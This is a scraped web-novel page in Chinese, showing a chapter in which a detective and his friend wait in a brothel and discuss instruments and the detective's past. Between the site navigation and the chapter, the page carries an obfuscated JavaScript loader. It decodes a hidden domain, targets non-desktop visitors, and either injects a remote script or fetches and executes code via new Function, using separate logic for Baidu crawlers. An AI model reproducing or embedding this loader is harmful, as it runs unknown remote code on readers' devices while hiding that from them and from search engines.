妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第803章 Ch802 水手的答案(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('第803章ch.802水手的答案

关于乐器,金斯莱比罗兰更有发言权。

侦探出身非凡,这些个穷人难得一见、难得一听的玩意儿对他来说都是寻常俗物。

钢琴。

竖琴。

提琴。

当然,还有长号。

无论高音、中音或者低音,演奏者都需要屈尊下跪,通过发声处展现音乐的妙与威力。

他们会绕过去,用手捉住拉伸管,通过前移或后拉,调整音调。

当露比讲出自己的外号时,金斯莱就明白了。

他不懂露比,但懂乐器。

罗兰则一头雾水。

“你是不是在开玩笑。”

金斯莱不明白的是,以罗兰这样的脸和身边环绕的女人数量,竟然在这方面表现的如此不符合他对于某些群体的看法——着实罕见。

“你给我讲一讲我就明白了。”

侦探瞥了他一眼,不讲话。

当露比离开后,房间自然安静下来。

薄薄的墙板无法阻挡四周围传来的乐声——无论人们奏响什么样的乐器,无论是打击、吹奏或通过弦来发出声音的,无疑都不会被几迭纸厚的墙板所阻拦住。

四面八方不断响起驯服孪生羊羔、捕捞贝壳的欢呼。

这让金斯莱十分烦躁。

他不喜欢这种地方。尤其是对于一个自小耳濡目染的‘不标准式’公子哥,这地方总让他想起他那不合格、也不够体面的父亲,被冷漠与寂静吞噬的母亲。

佳偶何处觅得?

在书稿与秘藏中。

心灵比血肉更加坚固,血肉比心灵更易堕落。

罗兰把玩着手中新得的镶蓝宝石手杖,就坐在侦探的对面:“你比我见过的所有牧师都要像虔诚教徒,金斯莱。”

正襟危坐的男人仿佛天生就有不污不腐之身,在这欢愉之地尤其不合群。

“我们都恪守自己内心的准则,罗兰。我并不喜欢放纵自己的欲望,让灵魂千疮百孔。”

“使灵魂千疮百孔的可不是欲望,”罗兰向后靠了靠,抛给他一支雪茄:“你说了仪式者才会说的话。”

金斯莱接住雪茄,放到鼻子下嗅了嗅后点燃。

他慢吞吞的,浓缩后释放的烟雾一股脑吹了出来,让屋内的声音都缓了几拍。

“…你从来不探究我的过往,现在想听了?”

“不想,”罗兰掐着雪茄,拳头顶在一边脸蛋上:“我不想知道你的父亲是谁,金斯莱。你答应过我,侦探社的命名权交给我。除此之外,我对你本人的血亲与姓氏并不感兴趣…你不会和露露一样吧?”

金斯莱看了他一眼,腔调带着嘲弄:“你还真爱结交‘怪’朋友,罗兰。”

他当然知道贝内文托家的小‘女儿’究竟怎么回事。

“如果我是女人,恐怕也不会对你感兴趣——就像我完全理解鲁伯特·贝内文托先生一样。他需要的不是一个比他还漂亮的男人,而是一个真正称得上‘男人’的另一半…你明白我的意思吗?”

罗兰张了张嘴,忽对金斯莱做了个手势。

接着,两人迅速起身,等待着由远及近的脚步声。

四镑物有所值。

露比为他们出了趟远门,请回一位数年前在此行叱咤风云的女士。

她现在是近郊某墓园守墓人的妻子。

有五个孩子。

最大的在银行工作。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间